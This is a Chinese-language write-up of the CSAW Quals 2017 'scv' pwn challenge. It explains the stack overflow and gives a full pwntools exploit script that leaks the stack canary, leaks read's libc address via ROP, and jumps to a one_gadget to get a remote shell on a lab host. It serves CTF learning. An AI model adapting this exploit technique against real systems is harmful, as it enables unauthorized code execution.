CSAW Quals CTF 2017-scv

程序基本信息

64位動態連接程序,開啓了棧溢出和數據段不可執行保護

程序漏洞

read函數很明顯的棧溢出漏洞

總體思路

因爲題目給了libc,咱們能夠使用one_gadget得到gadget在libc中的偏移,經過泄露其餘函數庫的偏移計算gadget在內存中的位置。因爲程序中有棧溢出保護,咱們能夠利用功能2,功能2的做用是puts打印咱們輸入的字符串,咱們能夠利用功能2將canary泄露出來,這樣咱們就能夠進行棧溢出了,後面的步驟就簡單了,利用rop技術便可pwn掉程序。

exp腳本

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(os = 'linux', arch = 'amd64')

io = remote('172.17.0.2', 10001)

pop_rdi = 0x400ea3           #pop rdi;ret
puts_plt = 0x4008d0          #puts函數plt表地址
read_got = 0x602030        #read函數got表地址
start = 0x4009a0               #start函數首地址

io.sendline('1')        
io.send('A'*164+'ABCDE')        #在選項1中輸入168個padding字符到達canary。因爲canary最後兩位恆爲\x00防止意外泄露,所以須要多一個字符覆蓋掉\x00,使得canary可被字符串輸出函數輸出。
sleep(0.5)
io.sendline('2')
io.recvuntil('ABCDE')
canary = u64('\x00'+io.recv(7)) #給canary補上\x00,把被字符'B'覆蓋掉的\x00恢復回來,注意是大端序。
log.info("Leak canary = %#x" %(canary))

payload = ""
payload += "A"*168      #padding
payload += p64(canary)  #在canary應該在的位置上寫canary
payload += "B"*8        #覆蓋rbp
payload += p64(pop_rdi) 
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(start)   #調用puts輸出read在內存中的地址,而後回到start從新開始

io.recv()
io.sendline('1')
io.send(payload)
io.recv()
io.sendline('3')        #經過選項3退出循環,從而觸發棧溢出,泄露read在內存中的地址
io.recvuntil('TIME TO MINE MIENRALS...\n')
read_addr = u64(io.recv()[:6]+"\x00\x00")   #u64()的參數必須是長度爲8的字符串,手動補齊
log.info("Leak read addr = %#x" %(read_addr))
one_gadget_addr = read_addr - 0xf8880 + 0x45526   #計算one_gadget的地址,0xf8880跟0x45526分別爲read跟gadget距離libc頭部的偏移

io.sendline('1')
payload = ""
payload += "A"*168      
payload += p64(canary)  #在canary應該在的位置上寫canary
payload += "B"*8        #覆蓋rbp
payload += p64(one_gadget_addr)             #棧溢出觸發one gadget RCE
io.send(payload)
io.recv()
io.sendline('3')            #退出main程序觸發棧溢出
io.recv()
io.interactive()

內容參考

Linux pwn入門教程(9)python

相關文章
相關標籤/搜索